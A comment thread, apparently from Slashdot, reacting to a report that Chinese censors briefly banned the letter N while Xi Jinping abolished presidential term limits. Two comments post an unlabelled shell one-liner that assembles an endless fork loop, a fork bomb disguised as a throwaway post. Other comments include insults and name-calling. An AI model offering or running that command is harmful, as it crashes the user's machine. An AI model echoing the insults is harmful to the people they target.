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China Bans Letter N From Internet as Xi Jinping Extends Grip on Power (theguardian.com)
Speaking of things the Chinese government has been censoring in the country, The Guardian reports: It is the 14th letter in the English alphabet and, in Scrabble, the springboard for more than 600 8-letter words. But for the Communist party of China it is also a subversive and intolerable character that was this week banished from the internet as Chinese censors battled to silence criticism of Xi Jinping's bid to set himself up as ruler for life. The contravening consonant was perhaps the most unusual victim of a crackdown targeting words, phrases and even solitary letters censors feared might be used to attack Beijing's controversial decision to abolish constitutional term limits for China's president. The Communist party has painted the move -- which experts say paves the way for Xi to become a dictator for life -- as an expression of overwhelming popular support for China's strongman leader. However, there has been widespread online push-back in China since it was announced on Sunday on the eve of an annual political congress in Beijing.
Well that makes sense.
The Russians have won. They have made the world a cesspool of distrust, greed, fear and hate.
Did you mean "M" Comrade?
Ch-ch-ch-chia
Chia ow has it's ow iteret?
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1. There is no capital punishment.
2. The highest leader has absolute fixed term limits.
I hate fat people.
E.g. look what they've done to wan4sui4. Simplified Chinese stripped down version on the left, Traditional Chinese version on the right
https://translate.google.com/?...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Apparently in the Chinese calendar, April 1st falls on our February 28th.
Have you read my blog lately?
They obviously prefer to go deeply into Fascism instead. What an utterly deranged decision.
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
wheel of fortune needs to ax any trips to china
The Chinese are laughing at us. We need to ban the letter 'O'!
I suspect there will be a long episode of Sesame Street in China when somebody will go looking for the letter "N".
Nae king! Nae laird! Nae yurrupiean pressedent! We willna be fooled again!
Cogratulatios Xi Jipig for removig the letter ""! - I bet your coutry of Chia must be proud!
China bans letter "N". Crypto currency now huge hit as Chinese hipsters can't stop talking about the "Block Chai".
I do't uderstad how this is supposed to work. But will be fu to watch, I suppose...
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Check your premises.
TFA has zero to do with DJT. Let's keep it that way. Nobody's accusing DJT of being "worse than this" except you.
He's getting rather old, but he's a good mouse.
Chia?
Do we have to water dear leader now? And dump shit on him to promote growth?
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Do chinese citizens need some of the USA's extra guns to take care of this little problem yet?
That if we obey this Anglos will now call him Jipig which sounds close to "the pig?"
Costa Gavras was a self proclaimed Communist
https://en.wikipedia.org/wiki/...
As Jeane Kirkpatrick pointed out anti Communist regimes tended to be authoritarian - if you didn't get involved in politics they'd mostly leave you alone. Communist regimes tended to be totalitarian - they wanted to reformat the culture.
https://www.commentarymagazine...
Surely it is now beyond reasonable doubt that the present governments of Vietnam, Cambodia, Laos are much more repressive than those of the despised previous rulers; that the government of the People's Republic of China is more repressive than that of Taiwan, that North Korea is more repressive than South Korea, and so forth. This is the most important lesson of Vietnam and Cambodia. It is not new but it is a gruesome reminder of harsh facts.
From time to time a truly bestial ruler can come to power in either type of autocracy--Idi Amin, Papa Doc Duvalier, Joseph Stalin, Pol Pot are examples--but neither type regularly produces such moral monsters (though democracy regularly prevents their accession to power). There are, however, systemic differences between traditional and revolutionary autocracies that have a predictable effect on their degree of repressiveness. Generally speaking, traditional autocrats tolerate social inequities, brutality, and poverty while revolutionary autocracies create them.
Traditional autocrats leave in place existing allocations of wealth, power, status, and other re- sources which in most traditional societies favor an affluent few and maintain masses in poverty. But they worship traditional gods and observe traditional taboos. They do not disturb the habitual rhythms of work and leisure, habitual places of residence, habitual patterns of family and personal relations. Because the miseries of traditional life are familiar, they are bearable to ordinary people who, growing up in the society, learn to cope, as children born to untouchables in India acquire the skills and attitudes necessary for survival in the miserable roles they are destined to fill. Such societies create no refugees.
Precisely the opposite is true of revolutionary Communist regimes. They create refugees by the million because they claim jurisdiction over the whole life of the society and make demands for change that so violate internalized values and habits that inhabitants flee by the tens of thousands in the remarkable expectation that their attitudes, values, and goals will "fit" better in a foreign country than in their native land.
The former deputy chairman of Vietnam's National Assembly from 1976 to his defection early in August 1979, Hoang Van Hoan, described recently the impact of Vietnam's ongoing revolution on that country's more than one million Chinese inhabitants:
They have been expelled from places they have lived in for generations. They have been dispossessed of virtually all possessions--their lands, their houses. They have been driven into areas called new economic zones, but they have not been given any aid. How can they eke out a living in such conditions reclaiming new land? They gradually die for a number of reasons--diseases, the hard life. They also die of humiliation.
It is not only the Chinese who have suffered in Southeast Asia since the "liberation," and it is not only in Vietnam that the Chinese suffer. By the end of 1978 more than six million refugees had fled countries ruled by Marxist governments. In spite of walls, fences, guns, and sharks, the steady stream of people fleeing revolutionary utopias continues..
There is a damning, contrast between the number of refugees created by Marxist regimes and those created by other autocracies: more than a million Cubans have left their homeland since Castro's rise (one refugee for every nine inhabitants) as compared to about 35,00
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
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How ca|\| anyo|\|e defe|\|d the Commu|\|ist Chi|\|ese gover|\|ment whe|\| they act the way they do?
Do you waut iuteruet to stop usiug a character, to preveut them from from sayiug "Zo!" ?
Good luck with that! I expect that this will be takeu as a challeuge!
Claude Shauuou once showed that Euglish only coutaius about 1.2 bits of iuformatiou per character. Thus one cau remove a lot more characters and still make seuse out of it!
Joking aside, I'm a bit sad that what the tools that once was seen as the tools for liberating and informing people, have turned into tools for disinformation and oppression.
Google is suppressing gun-identifies shopping results, at least in the US, even for legal products. What could be wrong with this?
deleting the extra space after periods so i can stay relevant, yeah.
While many things are wrong with China, simplified Chinese characters are not one of them. I would much prefer to learn simplified writing than traditional. Anyone upset with simplified characters (Taiwan) is exhibiting the same protectionism given to cursive and (in France) the French language. However easier is always better - lets more of those poor pheasants learn writing and integrate with society. Korea had a similar epiphany centuries ago, much to their benefit.
By my understanding, they only removed the limit on the number of consecutive terms allowed, they did not remove any limit on the duration of any single term. Individual terms are still 5 years long, afaik, and he could still be voted out after any one of them.
Lots of countries don't have limits on the number of terms that a person can be elected, and there's not any significant problems there. This is mitigated either by upper fixed bounds on the length of any single term (or fixed term lengths) that themselves are not overly long, or else an established legal policy for allowing a sufficient amount of dissent within the government structure to force a re-election if there is no explicit upper bound on a single term.
File under 'M' for 'Manic ranting'
Ten thousand years - 833 1/3 zodiac cycles
Disagree - DONOTWANT
Xi Zedong - Mao Xi, or No Moa Xi (sounds like "no more Xi" in English)
Shameless - goes naked in public
Lifelong - until worm-food
Personality cult - cult of fake man-god
Emigrate - leave home for good
Immortality - lifetime of fake man-god
and for n, m+1
Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
which experts say paves the way for Xi to become a dictator for life
China has been a communist dictatorship for longer than most of us have been alive.
For Western sources to cover this little internal squabble as though it has much significance is disturbing, at least in the clueless way it is being covered. China is still a brutal communist dictatorship, whether they periodically rotate people into and out of various positions or not.
I'm sure Ella Minnow Pea was consulted. https://www.amazon.com/Ella-Mi...
Miss Little Bottle yet?
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Is this supposed to be a early April fools joke, or is this real?
Are they filterig the letter from every website ad text?
How do they deal with pictures cotaiig the word?
The same way XKCD extracts passwords from 1024-bit encryption, I presume.
(-1: Post disagrees with my already-settled worldview) is not a valid mod option.
Monty Python FTW.
Don't disappoint your bird dog. Go to the range.
Liberals didn't give the gun sellers an open market to sell weapons of war
Guns kill people
That's what high capacity magazines are FOR!
If he really had ''overwhelming popular support'' then he would have little problem with some on-line criticisms. That he feels it necessary to stamp out any dissent suggests either: that his grip on power is not as it appears, or: that he is a snowflake that cannot stand any criticism.
What he does not understand is that by shutting down opposition discussion: he will find it harder to know what others think; underground dissent will grow and, because of a lack of safety valve, might blow up in his face. Absolute suppression may work for a few years, not forever. Does he want the history books in 100 years to describe him as a great reformer or as a tyrant ?
... over to China: That looks like it might not have been such a good idea now does it?
Think you'll have much bargaining power with some petty tyrant that wants to be dictator-for-life and whose first move is to ban letters of the alphabet?
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Have gnu, will travel.
Liberals restricted the govt's ability to hold people with mental issues.
And by "liberals", you are no doubt referring to Ronald Reagan. As governor of California, he signed the Lanterman-Petris-Short Act, which ended the practice of holding mental patients against their will. Then, as president in 1981, Reagan signed the Omnibus Budget Reconciliation Act, largely un-doing Carter's work at improving the federal mental health care system, which itself built upon ideas outlined by Kennedy before his assassination.
Liberals indeed.
People who say "sheeple" have about as much sophistication as an AOL user, and in fact are probably actually AOL users.
The simplified character set is lipstick on a pig.
Both should be abolished in favour of pinyin, or some other phonetic alphabet.
Thanks to computers, the archaic Chinese writing system is not quite the handicap it used to be, but it is still a significant drag on Chinese progress.
How old are kids before they've rote-learned enough characters to read a newspaper?
Conveniently removing "temporarily" from the headline for dramatic effect.
Banning a letter from the Internet is harder than Chinese Algebra. And, since the letter 'n' was just banned along with a few numbers, that is getting quite difficult indeed...
HA! I just wasted some of your bandwidth with a frivolous sig!
Great news, everybody! Letter N is out of rehab.
How is the Riemann zeta function like Trump rallies? Both have an endless number of trivial zeros.